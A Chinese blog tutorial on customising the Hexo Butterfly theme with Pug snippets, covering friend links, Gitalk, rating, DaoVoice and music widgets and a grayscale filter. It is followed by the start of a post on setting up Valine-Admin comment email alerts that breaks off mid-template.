关于友链界面,我加入了很多内容,如A Few Requirements和下面的PS就是我加入的。

更多的内容

之前闲着没事翻了一下主题的layout文件夹,里面的文件都已经命好名了,所以说一看我就知道哪个文件对应哪个部分,而我需要修改的就是flink.pug这个文件

原来它长这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
.flink
each i in site.data.link
h1= i.class_name
.post-cards
ul.md-links
each item in i.link_list
li.md-links-item
a(href=item.link title=item.name target="_blank")
if theme.lazyload.enable
img.lazyload(data-src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
else
img(src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
.md-links-title= item.name
.md-links-des= item.descr

hr
div
h2= theme.Flink.info_headline
ul
li= theme.Flink.name
li= theme.Flink.address
li= theme.Flink.avatar
li= theme.Flink.info

hr
.comment_int
p.comment-word= theme.Flink.comment

尽管我不是很懂pug这个东西,但是我还是能看懂代码的内容,其中hr就是一条分割线,所以说区块就用分割线来分开就好了。

最开始使用这个主题的时候(当时版本应该是1.2.0,还没有按钮分级),在做友链界面的时候,我这边就有人对我的数字提出了疑问,然后我就加入了下面那行PS:本文所有的数字表示方式来自Mili - world.execute(me);

flink.pug中加入:

1
p(style="font-size:9px;font-weight:bold")= theme.Flink.PS

然后在butterfly的配置文件中加入一行

1
PS: PS:本文所有的数字表示方式来自Mili - world.execute(me); # PS内容,在flink自加的

就可以在友链界面加入自定义的内容了

至于A Few Requirements区块在更新2.1.0后用同样的方式加入的

flink.pug加入:

1
2
3
4
5
6
7
8
9
10
11
hr
div
h2= theme.Flink.require_headline
ul
li= theme.Flink.requirement1
li= theme.Flink.requirement2
li= theme.Flink.requirement3
li= theme.Flink.requirement4
li= theme.Flink.requirement5
li= theme.Flink.requirement6

有多少的requirement就加入多少行,然后在配置文件butterfly.yml用同样的方式加入

1
2
3
4
5
6
7
require_headline: A Few Requirements
requirement1: GamerNoTitle表示不接受商业性网站、下载站、视频站等
requirement2: HTTP和HTTPS均可,不强制性要求小绿锁,但是只有一个IP或者带端口的不接受哦
requirement3: 网站要有维护,定期或不定期均可,线下朋友请忽略这一条
requirement4: 可以先在自己的网站加上我的友链,我处理的速度也会快一些呢~
requirement5: 大佬可以无视上面的要求,并加入“大佬之家”行列
requirement6: 如果你想联系我,在About页面中有我的相关联系方式

就可以了~

友链链接区块加入一行小字

Butterfly忘了哪个版本(我发现的时候是2.3.5)后不再需要此方法!

效果就像图片里面的那样

小字效果图

其实这个也很简单,跟上面一样还是要动flink.pug文件,在最顶上那一块代码中加入一行,将所需的字典名字命名为class_descr,加入后的代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
.flink
each i in site.data.link
h1= i.class_name
h4= i.class_descr//- 给每个class加入class_descr参数
.post-cards
ul.md-links
each item in i.link_list
li.md-links-item
a(href=item.link title=item.name target="_blank")
if theme.lazyload.enable
img.lazyload(data-src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
else
img(src=item.avatar onerror=`this.onerror=null;this.src='` + url_for(theme.lodding_bg.flink) + `'` alt=item.name )
.md-links-title= item.name
.md-links-des= item.descr

然后在link.yml的每一个class中就可以加入descr了,这里以一个区块做例子

1
2
3
4
5
6
7
8
9
10
class2:
class_name: DOS 私人服务
class_descr: 我个人在使用的不同网络服务,在这里列出(^U^)ノ~YO# 这里填入描述
link_list:
1:
name: CloudFlare
link: https://www.cloudflare.com/
avatar: https://dash.cloudflare.com/favicon.ico
descr: 免费的域名托管平台

class_name下面加入一行参数叫class_descr并设定为想要的内容即可,当然你也可以加在link_list的下面,但是请注意缩进要跟class_namelink_list平齐

加入基于Gitalk的动态栏小部件

这个部件最开始是在@火喵的博客看到的,然后就发了邮件问了一下是怎么实现的

感谢@火喵提供的思路~!

然后我参照了Gitalk的文档,用一个非常简单的什么都没有的html文件来装我这个Gitalk,正因为只有Gitalk,所以整个html文档就很简单

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<head>  
<link rel="stylesheet" href="https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@gitalk-css/css/gitalk-dorcandy.css"><!-- 导入自己修改过后的css文件,参照了火喵的 -->
<script src="https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@gitalk/js/gitalk.min.js"></script><!-- 导入自己修改后的js文件,主要修改了显示的字 -->
</head>
<body>
<div id="gitalk-container"></div>
<script>
var gitalk = new Gitalk({
id: 'Dynamics',
clientID: 'xxxxxxxxxxxxxxxxxxxx',
clientSecret: 'xxxxxxxxxxxxxxxxxxxxxxxxx',
repo: 'GamerNoTitle.Github.io',
owner: 'GamerNoTitle',
admin: ['GamerNoTitle'],
title: 'Dynamics',
pagerDirection: 'last',
perPage: 5,
})
gitalk.render('gitalk-container')
</script>
</body>

其中,pagerDirection本来是排序的顺序,但是按照Gitalk的issue#210中官方所述,不登录的话排序顺序只能是从旧到新,所以我也没办法,我采取的操作是一个issue中只容纳5条动态,历史动态就放到另外的issue中

将这个html文件命名一下为gitalk.html,然后放在主题目录的source文件夹下,然后进入.\layout\includes\widget文件夹,将card_announcement.pug(公告卡片)复制一份作为模板并且重命名为card_dynamics.pug,然后打开修改里面的内容。原来里面的内容如下

1
2
3
4
5
6
.card-widget.card-announcement
.card-content
.item-headline
i.fa.fa-bullhorn.card-announcement-animation(aria-hidden="true")
span= _p('aside.card_announcement')
.announcement_content= theme.announcement.content

在这里面,span应该是显示的字(如图红框处)

但是我加入的字不在语言配置文件中有,所以直接修改成

1
span= 'Dynamics'

就可以了,接着是要修改图标,作为动态,一个小喇叭的图标显得不是很好看。所以我就访问了Fontawesome@v4.7.0,选择了现在的这个图标

将图标的信息修改为

1
i.fa.fa-quote-right(aria-hidden="true")

图标后面的那串动画就不要了,动画多了也不是很好看

最后需要引入Gitalk.html文件,在下面加入一行

1
include gitalk.html

这样当部署完后,网站就会自动引用根目录下的gitalk.html文件。当然你要是直接访问我的gitalk.html文件也是能打开的

接着我们需要在网站的渲染中加入这个小部件

打开此目录下的index.pug,然后将这个引入加在认为合适的地方,我直接加载了公告的下面

1
2
if theme.aside.card_dynamics
include ./card_dynamics.pug

最后到butterfly.yml文件中,加入小部件的开关

1
2
3
4
5
6
7
8
9
10
aside:
position: right # left or right
card_author: true
card_announcement: true
card_recent_post: true
card_categories: true
card_tags: false
card_archives: true
card_webinfo: true
card_dynamics: true# 动态开关

部署自己的网页,就能够出现这种效果啦!

当然你要是在上面不要if判断,直接加入,那你就不需要在配置文件中加入开关了

Dynamics小部件

2020.4.4更新 主题版本butterfly@2.2.5

为网站加上全局黑白效果

为什么加这个效果呢?我一开始加是2020.4.4为了纪念为抗争新冠肺炎而牺牲的各位烈士们,所以加了全局的黑白效果。先放两张图给你们看看加入后的效果

黑白首页

黑白友链

就是像这样的全局黑白效果,加起来其实也不难,一开始@yuleng给我分享了全局黑白的html代码,告诉我要加就加载header或者是body里面(下面先放html代码)

1
2
3
4
5
6
7
8
9
10
11
12
13
<!-- 黑白色 -->
<style>
html{
filter: grayscale( 100%);
-webkit-filter: grayscale( 100%);
-moz-filter: grayscale( 100%);
-ms-filter: grayscale( 100%);
-o-filter: grayscale( 100%);
filter: url( "data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale");
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
-webkit-filter: grayscale( 1);
}
</style>

但是我们的butterfly后端是使用的pug文件作为网站样式的编写方式,所以我们要先把它转成pug形式的,转出来就是像下面这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
html
body
// 黑白色
style.
html{
filter: grayscale( 100%);
-webkit-filter: grayscale( 100%);
-moz-filter: grayscale( 100%);
-ms-filter: grayscale( 100%);
-o-filter: grayscale( 100%);
filter: url( "data:image/svg+xml;utf8,<svg xmlns=\'http://www.w3.org/2000/svg\'><filter id=\'grayscale\'><feColorMatrix type=\'matrix\' values=\'0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0.3333 0.3333 0.3333 0 0 0 0 0 1 0\'/></filter></svg>#grayscale");
filter:progid:DXImageTransform.Microsoft.BasicImage(grayscale=1);
-webkit-filter: grayscale( 1);
}

然后我把这一串代码存到一个名为blackandwhite.pug的文件,将它放在主题目录下的layout/includes/addons里面,然后就要在layout.pug里面引入文件。在原文件的include ./head.pug下面加入一行来引入我们的文件

1
2
if theme.blackandwhite
include ./addons/blackandwhite.pug

加个if判断是为了下次要使用的时候还能够用,不用再次修改。

接着我们到butterfly.yml文件内加多一行

1
blackandwhite: true

这样就开启了我们的黑白效果

为了方便大家,我将文件放出来blackandwhite.pug,大家只需要将文件放在对应的位置,加上对应的配置项即可!

2020.4.7更新 主题版本butterfly@2.2.5

为文章加上投票评分功能

按照群友的要求,我又来更新啦,这次我们给文章加上投票评分功能,具体的效果像下面那样(Donate按键是主题自带的,不是我加入的)

Rating UI

那么废话不多说,让我们直接开始!(如果你想直接使用我做好的只需要替换id的预设文件,那你可以点击这里直接跳到文档,而不必看我是如何做的)注册一个你自己的账号,注册过程相信我不用说你也会。注册完以后,会把我们导到安装界面,我们选择最右边的Rating widget,获取我们自己的引入代码,等待下一步使用,我这里获取到的引入代码如下(为保证信息准确性,我将自己的id替换成了xxxxx)

首先你得去widgetpack注册一个你自己的账号,注册过程相信我不用说你也会。注册完以后,会把我们导到安装界面,我们选择最右边的Rating widget,获取我们自己的引入代码,等待下一步使用,我这里获取到的引入代码如下(为保证信息准确性,我将自己的id替换成了xxxxx)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<div id="wpac-rating"></div>
<script type="text/javascript">
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: xxxxx});
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
</script>
<a href="https://widgetpack.com" class="wpac-cr">Star Rating WIDGET PACK</a>

接着,我们要在对应的地方引用它,但是butterfly是使用pug和stylus的组合来进行渲染的,所以我们要先把上面的这一串代码转成pug形式的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
html
body
#wpac-rating
script(type="text/javascript").
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: xxxxx});
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
a.wpac-cr(href="https://widgetpack.com") Star Rating WIDGET PACK

然后将其保存成rating.pug,放到./layout/includes/addons里面去。不过在这代码里面,投票UI不是居中的就让我很不上,而且最后一行有一串a标签,然而我并不是很喜欢它,我将代码改成了下面这个样子(这里把id改成了变量,可以在butterfly.yml里面修改)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
html
body
#wpac-rating(align="center")
script(type="text/javascript").
wpac_init = window.wpac_init || [];
wpac_init.push({widget: 'Rating', id: !{theme.rating.id}}); //- 这里将xxxxx改成自己的id
(function() {
if ('WIDGETPACK_LOADED' in window) return;
WIDGETPACK_LOADED = true;
var mc = document.createElement('script');
mc.type = 'text/javascript';
mc.async = true;
mc.src = 'https://embed.widgetpack.com/widget.js';
var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(mc, s.nextSibling);
})();
//- 下面的那行小字 如果你不需要可以把17~21行注释掉
#copy(align="center")
| Rating addon based on
a(herf="https://widgetpack.com/") widgetpack
| , by
a(href="https://bili33.top") GamerNoTitle

保存完成后,我们进入./layout/post.pug里面对我们的文件进行引入,在合适的位置添加引入代码,我这里是在打上的下面进行了添加

1
2
3
4
5
if theme.reward.enable
!=partial('includes/post/reward', {}, {cache:theme.fragment_cache})
//- 上面是打赏功能,下面是添加的投票功能
if theme.rating.enable
include includes/addons/rating.pug

接着,我们到butterfly.yml里面加入新的配置项

1
2
3
rating:
enable: true
id: 00000

这样就加入了一个开关(不过是全局的),可以控制rating功能是否开启(讲真我觉得这个功能我自己用的很少,我自己应该会关掉)

接着我们就可以部署自己的应用啦,看看是不是可以开始投票了呢?

关于投票的设定,默认是需要社交账号登录的,但是看着这几个图标,又有几个是在国内能够使用的呢?

社交账号登录方式

我们需要更改这个设定,让其不需要社交账号登录也能够进行投票

点开左上角的三条横线,选择Rating,然后点击里面的Setting,在这里面就有我们需要的设置

Rating设置

我们可以看到左边的框选择的是Social,我们可以选择IP address或者Cookies的任意一个,这取决于你要怎么计算你的文章投票,如果选择IP的话,那么同公网IP下的一个人进行了投票,剩下的人就不能够投票了(会怎么点都没反应);选择Cookie的话,可能会存在刷票的问题(因为cookie是可以清理的,但是谁这么无聊呢?)

至于右边,可以选择星星的颜色,我这里选择的是淡蓝色;你还可以设置星星上限,默认是5星满分,你可以把它改成你想要的数字,而另一个输入框是设定星星的大小,取决于你自己的审美吧

最终效果图

评分预设文档使用

首先你需要点击这里下载预设文件

在这文档里面,你需要修改的是id。如何获取id,你可以查看下面这张图片

获取自己的应用id

把文件放入./layout/includes/addons(若不存在则自己建立文件夹)

打开自己的butterfly.yml文件,在任意一行加入以下内容:

1
2
3
4
# 投票评分功能
rating:
enable: true
id: 00000# 请改成你自己的ID

然后去到./layout/post.pug里面,在你想要加入投票功能的位置加入以下代码(推荐加载打赏即reward后面)

1
2
if theme.rating.enable
include includes/addons/rating.pug

然后对网站进行部署即可!

2020.4.5更新 主题版本butterfly@2.2.5

为网站加入实时对话功能

Butterfly@3.0.0-rc1以后自带此功能

与其说是实时对话,怎么感觉像客服系统?(某群友想弄然后我先给搞出来了,接着他自己在我发文前弄好了)这次使用的是Daovoice,照例我们先上一张效果图(如果想直接使用预设文档的话你可以点这里)(注:本站未开启此功能)

按钮效果图

展开效果图

是不是很像客服系统?然而你就是可以把它玩成聊天软件,话不多说,让我们开始吧!

首先我们需要在Daovoice上面注册一个账号,添加我们自己的应用。添加完了以后,daocloud会给我们一些代码,需要我们加入到head中,并使用script调用才能出现右下角的那个按钮对话按钮

新办法

这里感谢@GarveyZhong提供的新方法思路

预设文档点这里

我们先把daovoice给我们的两串代码整合一下

1
2
3
4
5
6
7
<script>
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
</script>

接着把它转成pug形式(这里已经将appid作为一个变量,感谢@青苏告诉我pug变量的正确写法)

1
2
3
4
5
6
7
8
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/!{theme.daovoice.appid}.js","daovoice")
daovoice('init', {
app_id: "!{theme.daovoice.appid}",
});
daovoice('update');

然后将这串代码保存到./layout/includes/addons/daovoice.pug

然后我们打开./layout/index.pug文件,在里面加入以下内容

1
2
if theme.daovoice.enable
include includes/addons/daovoice.pug

然后我们再打开butterfly.yml,在里面加入以下内容

1
2
3
4
# Daovoice实时客服功能
daovoice:
enable: true
appid: xxxxxxxx

接着保存,部署,发现右下角的按钮出来了吧~

实时对话预设文档使用

先点击这个链接下载预设文档→daovoice.pug

将文件放入./layout/includes/addons文件夹内,接着打开./layout/index.pug,在里面加入以下内容

1
2
if theme.daovoice.enable
include includes/addons/daovoice.pug

然后打开butterfly.yml,加入以下内容

1
2
3
4
# Daovoice实时客服功能
daovoice:
enable: true
appid: xxxxxxxx

接着部署即可!

旧办法

Daocloud提供给我的代码是下面这样的,正常来说除了那个js的名字不一样其他都是一样的(这里的js名字为了保证隐私安全我用了xxxxxxxx代替)

1
<script>(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")</script>

按照思路,首先我们需要把daovoice提供的代码都转换成pug形式,转换后就像下面这样

1
2
3
4
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")

接着我们把这串代码放到daovoice-head.pug文件中,并把这个文件放到./layout/includes/addons里面(没有这个文件夹可以自己建立,也可以把我下面教程中的路径替换成你自己的),接着,我们打开./layout/includes/head.pug里面,加入以下代码

1
2
if theme.daovoice.enable//- 如果你不想在butterfly.yml中加入开关,想直接引入的话可以不用这一行
include ./addons/daovoice-head.pug

在head.pug中加入代码

这样,head的引入就完成了

剩下的工作就是用一个script调用这个功能。根据daovoice提供给我们的代码(然而并没有把<script></script>加进去,差评哼)

1
2
3
4
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');

我们需要给它的头和尾加入手动加入<script></script>才能正确调用,所以加了以后就是

1
2
3
4
5
6
<script>
daovoice('init', {
app_id: "xxxxxxxx"
});
daovoice('update');
</script>

接着仍然要把它转成pug文件,转出来以后就是这样

1
2
3
4
5
6
7
html
body
script.
daovoice('init', {
app_id: "xxxxxxxx",
});
daovoice('update');

然后我们把这串代码保存到一个名为daocloud-anonymous.pug的文件,放到./layout/includes/addons里面,接着我们打开./layout/index.pug文件,在里面加入以下内容

1
2
if theme.daovoice.enable//- 这里同样,不需要的话可以删掉
include includes/addons/daovoice-anonymous.pug

在index.pug中加入代码

然后保存,到butterfly.yml里面在任意一个位置加入以下内容

1
2
daovoice:
enable: true

加入完成后保存,开始部署本地调试,看看右下角是不是多了一个小按钮啦?(按钮的样式需要在Daovoice后台更改)

旧办法实时对话预设文档使用

首先,你还是需要一个Daovoice账号,注册完了以后,点击下面的链接下载所需要的两个文件

Daovoice的Head预设文件 | Daovoice的调用Script

然后打开下载的daovoice-head.pug,在里面的第四行,把链接中的8个x改成你自己的应用id

1
2
3
4
html
body
script.
(function(i,s,o,g,r,a,m){i["DaoVoiceObject"]=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;a.charset="utf-8";m.parentNode.insertBefore(a,m)})(window,document,"script",('https:' == document.location.protocol ? 'https:' : 'http:') + "//widget.daovoice.io/widget/xxxxxxxx.js","daovoice")

打开下载的daovoice-anonymous.pug文件,同样将里面的app_id改为自己的应用id

1
2
3
4
5
6
7
html
body
script.
daovoice('init', {
app_id: "xxxxxxxx",
});
daovoice('update');

保存,把这两个文件放进./layout/includes/addons里面

接着打开./layout/includes/head.pug文件,在里面加入引入代码如下图

1
2
if theme.daovoice.enable
include ./addons/daovoice-head.pug

在head.pug中加入代码

保存,打开./layout/index.pug,在里面加入引入代码如下图

1
2
if theme.daovoice.enable
include includes/addons/daovoice-anonymous.pug

在index.pug中加入代码

保存,打开butterfly.yml,在任意一行加入以下内容

1
2
3
# Daovoice实时客服功能
daovoice:
enable: true

然后保存即可!

加入音乐小部件

Butterfly@dev-pjax分支不推荐

这里有两种做法,Aplayer方法和网易云自带播放器的方法,请根据自己的需要进行修改,预览图在每个方法的开头就有

Aplayer法

Aplayer是一个音乐播放器,官方文档在这里,这里我着重讲怎么添加,而不是aplayer的用法(已经配置好的文件在下面,可以直接下载使用)

首先,按照我的个人习惯,在layout/includes/addons文件夹里面复制粘贴一个layout/includes/widget/card_announcement.pug的副本,修改一下里面的内容,把公告的内容删掉,改成了下面这个样子

1
2
3
4
5
.card-widget.card-aplayer
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')

接着,就要开始调用Aplayer了,按照官方的做法,我们要调用一个js和一个css文件,这里我保存了一份副本,并且修改了一下css,把进度条和循环按钮隐藏了,上传到github,通过jsdelivr调用

因为我们是内嵌一个html网页,所以我们这里要先用html写法写完,然后转成pug

1
2
3
4
5
html
body
link(rel="stylesheet" href="https://cdn.bili33.top/gh/Vikutorika/assets@master/css/APlayer.min.css")//- 引用修改的CSS
#aplayer//- 相当于<div>
script(src="https://cdn.bili33.top/gh/Vikutorika/assets@master/js/APlayer.min.js")//- 引用js文件

然后我们要给aplayer一些我们要放的音乐的信息,这里的写法是用<script></script>来赋值,至于怎么写请看官方文档,写好后记得转换成pug,下面我放出我的例子

1
2
3
4
5
6
7
8
9
10
11
12
13
script.
const ap = new APlayer({
container: document.getElementById('aplayer'),
audio: [{
name: 'world.execute (me) ;',
artist: 'Mili',
url: 'https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@world.execute(me)/audio/Mili%20-%20world.execute%20(me)%20;.mp3',
cover: 'https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@world.execute(me)/img/Album/Miracle Milk.jpg',
theme: "#8e8cd8",
lrc: "https://cdn.jsdelivr.net/gh/GamerNoTitle/Picture-repo-v1@Github-Basic/lrc/world.execute (me) %3B.txt"
}]
});

通过const给Aplayer一些信息,让它能够播放我们的音乐

接着打开layout/includes/widget/index.pug在你认为合适的地方添加(注意缩进)

1
2
if theme.aside.card_aplayer
include ../addons/card_aplayer.pug

然后我们打开butterfly.yml,在aside的侧边栏显示设置里面添加

1
2
3
card_webinfo: true
# 上面是原来就有的
card_aplayer: true# 添加个开关,可以控制打开关闭

然后就可以啦!

预设文档使用

首先先下载预设文档,放到主题目录下的layout/includes/addons文件夹内(如果不存在请自己创建)

打开文件,修改里面的变量,关于变量请查看官方文档

修改完后保存,打开layout/includes/widget/index.pug,在你认为合适的位置加上以下内容(注意缩进)

1
2
if theme.aside.card_aplayer
include ../addons/card_aplayer.pug

打开butterfly.yml,在aside的侧边栏设置加入以下内容

1
2
3
card_webinfo: true
# 上面是原来就有的
card_aplayer: true# 添加个开关,可以控制打开关闭

然后保存即可!

网易云音乐官方部件法

成果图

我们先打开网易云的一首歌,点击生成外联播放器,要求是这首歌不需要VIP进行下载,否则会二话不说给你弹出下面这个窗

版 权 保 护

正常情况下,会给你打开外联播放器的生成页面,在下面选择合适的参数,其中宽度我稍微试了一下,推荐为230,太小会观感体验不好,太大会直接超出框,设定好宽度我们就复制代码(宽度也可以直接在width=后面进行修改哦)

外链播放器生成页面

↑我这里选择的音乐

然后我们复制一份butterfly/layout/includes/widget文件夹里面的card_announcement.pug文件(主要是因为公告是最好进行修改的东西了) ,改名为card_music.pug,把里面改成以下内容

1
2
3
4
5
6
.card-widget.music
.card-content
.item-headline
i.fa.fa-music(aria-hidden="true")
span= _p('Music')
|

然后在|那一行,把你刚刚获得的网易云链接放进去(保留前面的|

然后保存,接着我们打开同目录下的index.pug

在里面你认为合适的位置加上以下内容

1
2
if theme.aside.card_music
include ./card_music.pug

如果你不需要开关可以不加if判断

接着打开butterfly.yml文件,在aside设置中加上一行

1
card_music: true

如果想关掉的时候设置成false即可

这样我们就成功把网易云的音乐加入自己的侧边小部件了!

不定期更新

]]>
+ + + + + Tech + + + + + + + Tech + + Customize + + Theme + + + +
+ + + + + Valine-Admin博客评论邮件提醒系统部署 + + /posts/Valine-Admin/ + +

PS

本篇内容为博主以前已经完成的事件的记录,并非完成后立即写的文章

前提

本篇内容以已经成功部署Valine作为评论系统为前提,如果还未部署,请参考官方文档


本网站一直在使用Valine作为评论系统,之前一直在想:wordpress里面的评论有邮件提醒功能,Valine能不能实现这种功能呢?于是我就到Google去搜索,然后发现了Valine-Admin这个项目

首先我们打开我们的Leancloud,进入我们的应用(我这里使用的是国际版,至于为什么选用国际版,有那么一丁点的原因的)

如图,点击云引擎-设置,然后将Valine-Admin的HTTPS仓库链接贴进去,链接如下:https://github.com/DesertsP/Valine-Admin.git

云引擎贴入仓库地址

请注意,不要使用SSH链接,会因为没有权限而部署失败!

SSH链接部署失败

部署完后,我们需要按照教程配置我们的环境变量

下面是必填项(从官方教程搬过来的表格):

变量示例说明
SITE_NAMEDeserts[必填]博客名称
SITE_URLhttps://panjunwen.com[必填]首页地址
SMTP_SERVICEQQ[新版支持]邮件服务提供商,支持 QQ、163、126、Gmail 以及 更多
SMTP_USERxxxxxx@qq.com[必填]SMTP登录用户
SMTP_PASSccxxxxxxxxch[必填]SMTP登录密码(QQ邮箱需要获取独立密码)
SENDER_NAMEDeserts[必填]发件人
SENDER_EMAILxxxxxx@qq.com[必填]发件邮箱
ADMIN_URLhttps://xxx.leanapp.cn/[建议]Web主机二级域名,用于自动唤醒
BLOGGER_EMAILxxxxx@gmail.com[可选]博主通知收件地址,默认使用SENDER_EMAIL
AKISMET_KEYxxxxxxxxxxxx[可选]Akismet Key 用于垃圾评论检测,设为MANUAL_REVIEW开启人工审核,留空不使用反垃圾

变量设置完成后,需要到下面Web主机域名框填写自己的后台管理面板的域名

管理面板域名填写

填写完后我们输入自己填写的域名就可以进入后台界面了,第一次进入会要求创建账户

如果直接是登录界面请先删除_User表中的所有数据!!!

登录界面应该长这样

评论后台管理面板登录

云引擎的其他相关配置我在这里不多说,可以去看官方教程,另外,关于博主的通知邮件,我在Rainbow模板上修改了一点,效果是这样的

博主通知邮件模板

1
<div style="border-radius: 10px 10px 10px 10px;font-size:13px;    color: #555555;width: 666px;font-family:'Century Gothic','Trebuchet MS','Hiragino Sans GB',微软雅黑,'Microsoft Yahei',Tahoma,Helvetica,Arial,'SimSun',sans-serif;margin:50px auto;border:1px solid #eee;max-width:100%;background: #ffffff repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 1px 5px rgba(0, 0, 0, 0.15);"><div style="width:100%;background:#49BDAD;color:#ffffff;border-radius: 10px 10px 0 0;background-image: -moz-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));background-image: -webkit-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));height: 66px;"><p style="font-size:15px;word-break:break-all;padding: 23px 32px;margin:0;background-color: hsla(0,0%,100%,.4);border-radius: 10px 10px 0 0;">您的<a style="text-decoration:none;color: #ffffff;" href="${SITE_URL}"> ${SITE_NAME}</a>上有新的留言:</p></div><div style="margin:40px auto;width:90%"><p>${NICK} 给您的留言如下:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 0px;padding:15px;border-radius:5px;font-size:14px;color:#555555;">${COMMENT}</div><p>您可以点击<a style="text-decoration:none; color:#12addb" href="${POST_URL}#comments">查看回复的完整內容</a>,欢迎再次光临<a style="text-decoration:none; color:#12addb"                href="${SITE_URL}"> ${SITE_NAME}</a></p><style type="text/css">a:link{text-decoration:none}a:visited{text-decoration:none}a:hover{text-decoration:none}a:active{text-decoration:none}</style></div></div>

而给用户的模板,使用的是官方的Rainbow模板

1
<div style="border-radius: 10px 10px 10px 10px;font-size:13px;    color: #555555;width: 666px;font-family:'Century Gothic','Trebuchet MS','Hiragino Sans GB',微软雅黑,'Microsoft Yahei',Tahoma,Helvetica,Arial,'SimSun',sans-serif;margin:50px auto;border:1px solid #eee;max-width:100%;background: #ffffff repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 1px 5px rgba(0, 0, 0, 0.15);"><div style="width:100%;background:#49BDAD;color:#ffffff;border-radius: 10px 10px 0 0;background-image: -moz-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));background-image: -webkit-linear-gradient(0deg, rgb(67, 198, 184), rgb(255, 209, 244));height: 66px;"><p style="font-size:15px;word-break:break-all;padding: 23px 32px;margin:0;background-color: hsla(0,0%,100%,.4);border-radius: 10px 10px 0 0;">您在<a style="text-decoration:none;color: #ffffff;" href="${SITE_URL}"> ${SITE_NAME}</a>上的留言有新回复啦!</p></div><div style="margin:40px auto;width:90%"><p>${PARENT_NICK} 同学,您曾在文章上发表评论:</p><div style="background: #fafafa repeating-linear-gradient(-45deg,#fff,#fff 1.125rem,transparent 1.125rem,transparent 2.25rem);box-shadow: 0 2px 5px rgba(0, 0, 0, 0.15);margin:20px 